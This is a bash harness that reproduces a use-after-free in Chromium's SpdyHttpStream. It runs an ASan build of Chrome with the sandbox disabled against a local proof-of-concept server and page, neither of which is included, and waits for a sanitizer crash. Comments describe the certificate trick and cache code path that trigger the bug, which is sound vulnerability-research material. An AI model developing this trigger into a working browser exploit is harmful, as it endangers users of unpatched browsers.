#!/bin/bash
# Reproduction harness for the SpdyHttpStream UAF.
set -eu
cd "$(dirname "$0")"

CHROME=${CHROME:-/chromium/chromium/src/out/asan/chrome}
PROFILE=$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)

CRT="$PWD/server.crt"
KEY="$PWD/server.key"

# Generate the server certificate up-front so we can compute its SPKI hash and
# pass it to Chrome via --ignore-certificate-errors-spki-list. This makes the
# certificate *valid* (cert_status==0), so HttpCache::Transaction does NOT
# call StopCachingImpl() and the body read goes through HttpCache::Writers --
# which synchronously destroys the HttpNetworkTransaction (and the embedded
# SpdyHttpStream) on a network-read failure.
if [ ! -f "$CRT" ]; then
  openssl req -x509 -newkey rsa:2048 -nodes \
    -keyout "$KEY" -out "$CRT" -days 7 \
    -subj "/CN=a.test" \
    -addext "subjectAltName=DNS:localhost,DNS:a.test" >/dev/null 2>&1
fi
SPKI=$(openssl x509 -in "$CRT" -pubkey -noout \
        | openssl pkey -pubin -outform DER \
        | openssl dgst -sha256 -binary \
        | openssl base64)
echo "[*] SPKI sha256/$SPKI"

pkill -f 'server\.py' 2>/dev/null || true
sleep 0.3

POC_CERT="$CRT" POC_KEY="$KEY" python3 server.py > server.log 2>&1 &
SRV=$!
echo "[*] server pid=$SRV, log=server.log"
sleep 1.5

echo "[*] launching chrome (profile=$PROFILE)"
ASAN_OPTIONS="detect_odr_violation=0:handle_abort=1:symbolize=1" \
"$CHROME" \
  --no-sandbox \
  --no-first-run --no-default-browser-check \
  --disable-gpu --use-gl=swiftshader \
  --user-data-dir="$PROFILE" \
  --ignore-certificate-errors-spki-list="$SPKI" \
  --host-resolver-rules='MAP a.test 127.0.0.1' \
  --enable-logging=stderr --v=0 \
  "http://localhost:9080/poc.html" \
  > chrome.log 2>&1 &
CHROME_PID=$!

echo "[*] chrome pid=$CHROME_PID; waiting up to 60s for crash..."
for i in $(seq 1 60); do
  if ! kill -0 "$CHROME_PID" 2>/dev/null; then
    break
  fi
  if grep -q -m1 'AddressSanitizer\|heap-use-after-free\|FATAL' chrome.log; then
    echo "[*] sanitizer/CHECK hit"
    sleep 4
    break
  fi
  sleep 1
done

kill "$CHROME_PID" 2>/dev/null || true
kill "$SRV" 2>/dev/null || true
wait 2>/dev/null || true

echo
echo "=== server.log (tail) ==="
tail -n 30 server.log || true
echo
echo "=== chrome.log (ASAN/CHECK extract) ==="
grep -n -B2 -A200 -m1 'AddressSanitizer\|heap-use-after-free\|FATAL' chrome.log || \
  echo "(no sanitizer output found)"
